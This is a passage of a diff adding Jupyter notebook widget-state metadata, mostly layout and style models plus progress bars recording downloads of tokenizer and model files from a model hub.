+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "a5506cc4b437400cbfff631c20110891": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "a5a8f2b461064eecad9cefa57eb89423": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a97a2a99008f4ac6be1d6377d04504fa": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_b217d9ea08a14ff49d274fc2aea760f8",
+              "IPY_MODEL_d500132d4c434179975a124e00c4cec3",
+              "IPY_MODEL_312d2d503a0f47278b47c03ddef6109f"
+            ],
+            "layout": "IPY_MODEL_1edf085b64f24088bd70a6a6954c8156"
+          }
+        },
+        "acf34873eae8493fbf953b1a8a65e177": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_602461cd7b5c471394ee2920b067a8f6",
+            "placeholder": "",
+            "style": "IPY_MODEL_c163abebb6434568ac10621f99dee880",
+            "value": "Downloading (…)/main/tokenizer.json: 100%"
+          }
+        },
+        "af0a3bf66e8e433db1bea3b41a0c052a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b0dba09b02f142c485ce94ba887132b5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_65c79edaf8f844979f6d2cfdbded70e8",
+            "max": 503,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_cc2dc3160f074fd8a457dcde77cfbc2b",
+            "value": 503
+          }
+        },
+        "b11a5cb28f474ba9bd6dc98f5772fcda": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_c697ecf18cad4be6990af0899da9503c",
+            "placeholder": "",
+            "style": "IPY_MODEL_64f4db4f35324cab9abab95c86307a89",
+            "value": " 232k/232k [00:00<00:00, 5.74MB/s]"
+          }
+        },
+        "b132e46fada74341aa52482f1b5f4240": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_4c1a2f85fe2744fbbada089a46ac7f20",
+            "placeholder": "",
+            "style": "IPY_MODEL_f9b7adc37082413f93053106e60eab4d",
+            "value": " 232k/232k [00:00<00:00, 2.98MB/s]"
+          }
+        },
+        "b217d9ea08a14ff49d274fc2aea760f8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_3bee2b1a38cc4f68a614ac2460b45f37",
+            "placeholder": "",
+            "style": "IPY_MODEL_400bbbc0ce6e42ad9f0916a428aeff83",
+            "value": "Downloading (…)cial_tokens_map.json: 100%"
+          }
+        },
+        "b2298da115e446eb8b129cf635bad729": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b24e8170391d4a41835bcdb649457ba7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_e909d23ed13e4652a909b4f1c5702ec7",
+            "placeholder": "",
+            "style": "IPY_MODEL_82f6ec4e9743477c909d6ef734c06808",
+            "value": "Downloading (…)neration_config.json: 100%"
+          }
+        },
+        "b3c518bde5bc4a5bb2c2f6528d361cc0": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b654f414cfe04f9a9777b076349199f6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_3080191d2d754416988b90ece2f76cb5",
+            "max": 708756315,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_d02a3297387b45c98e78c9a4a13bc6cd",
+            "value": 708756315
+          }
+        },
+        "b68190a10e0b48678a9937693a2e0875": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "b6bd97ac6f79431596f1d2e76cf80cc1": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "bcb584c47d2e430f8d0ff7db81619909": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_14574612bb6542a1b557a12bdc189cbc",
+            "placeholder": "",
+            "style": "IPY_MODEL_628ac6a81d1646418cd58b7fccb814a9",
+            "value": " 709M/709M [00:05<00:00, 208MB/s]"
+          }
+        },
+        "bed467f249ca47ea8b3ea57cc365dd22": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_54dc179584c241dea17f59f2b9e93f47",
+            "placeholder": "",
+            "style": "IPY_MODEL_8a7d1c368a9548d0aecb6564d7aa1bb7",
+            "value": " 711k/711k [00:00<00:00, 8.24MB/s]"
+          }
+        },
+        "bedf96c9d0c94e7f9f723e4cec98ae8a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "c163abebb6434568ac10621f99dee880": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "c3bfbf522f884eb489410593b6b63abc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_e95fea587b2a4f47a7b8b492db3e1ffc",
+              "IPY_MODEL_b0dba09b02f142c485ce94ba887132b5",
+              "IPY_MODEL_3dedecb37fdb44ceb07c6d1712c4e021"
+            ],
+            "layout": "IPY_MODEL_039c791cb44e42e29fce22b17e6aaeb2"
+          }
+        },
+        "c4f1648bca844b0ba790a5990ae2170c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_8cc8a9d55c2546bcaabead9c8dc2ed09",
+            "max": 711396,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_ff3175e110e94476bf7ed17ef19a0077",
+            "value": 711396
+          }
+        },
+        "c697ecf18cad4be6990af0899da9503c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c7af806e9fcf44dfa483f9aee21ab0ef": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "cc2dc3160f074fd8a457dcde77cfbc2b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "ce764110e55b47469fcd0e929808d801": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_0c59eab53a8649cf88ed55d135981e1a",
+              "IPY_MODEL_6bfee089c2c6462daf9ccd9baae21cc3",
+              "IPY_MODEL_5af7e60d5fe142f6a2fb59b92c19715b"
+            ],
+            "layout": "IPY_MODEL_06d45a612716458e84cff4dadacde353"
+          }
+        },
+        "ce9b5e9018ff4acfb9f59fcb04bdea22": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "cee5e9c5e2604a898fc3bd9fae8b260e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_492d702c82564ce5ae62e4989905f176",
+              "IPY_MODEL_fb47f6098ea54e828931f1082eddcfc6",
+              "IPY_MODEL_5a2729d7ebe54449aaedcb658795e19f"
+            ],
+            "layout": "IPY_MODEL_3afb14ab061c459b9276116e0a6c9416"
+          }
+        },
+        "d02a3297387b45c98e78c9a4a13bc6cd": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "d19511fe4049467a9e24bffc8b799027": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "d2ac867676604aa8a10267219e3c6362": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d500132d4c434179975a124e00c4cec3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_3bc21fd430c3426283585a874ec1ce94",
+            "max": 125,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_37dc882c932347788e668b941222f7a2",
+            "value": 125
+          }
+        },
+        "da2eb9afc6214b7dbdb99bd38a05fedd": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_dd77bd4c656748869c4bd34f1ae74508",
+              "IPY_MODEL_0fdfc064f7ac43e29f207cf8c01ebea4",
+              "IPY_MODEL_b132e46fada74341aa52482f1b5f4240"
+            ],
+            "layout": "IPY_MODEL_9f16f63600454da5afdef84ef5afd59d"
+          }
+        },
+        "dad6452f3a87437fbf6b691f56614711": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "dbb37d88052b40f5aeeb1fbf2ab01be4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "dd77bd4c656748869c4bd34f1ae74508": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_3a18c950c8da4cc2b7f3f79a9b91dea2",
+            "placeholder": "",
+            "style": "IPY_MODEL_dbb37d88052b40f5aeeb1fbf2ab01be4",
+            "value": "Downloading (…)solve/main/vocab.txt: 100%"
+          }
+        },
+        "dfa636e1fb524cf2ae3d6693fd128084": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1dabddf490454df48032d8c05080fe95",
+            "placeholder": "",
+            "style": "IPY_MODEL_878c5cc4315443018704910dcf37f154",
+            "value": "Downloading (…)/main/tokenizer.json: 100%"
+          }
+        },
+        "e0a6fa485edb419da6b4c33e6d45cd9f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
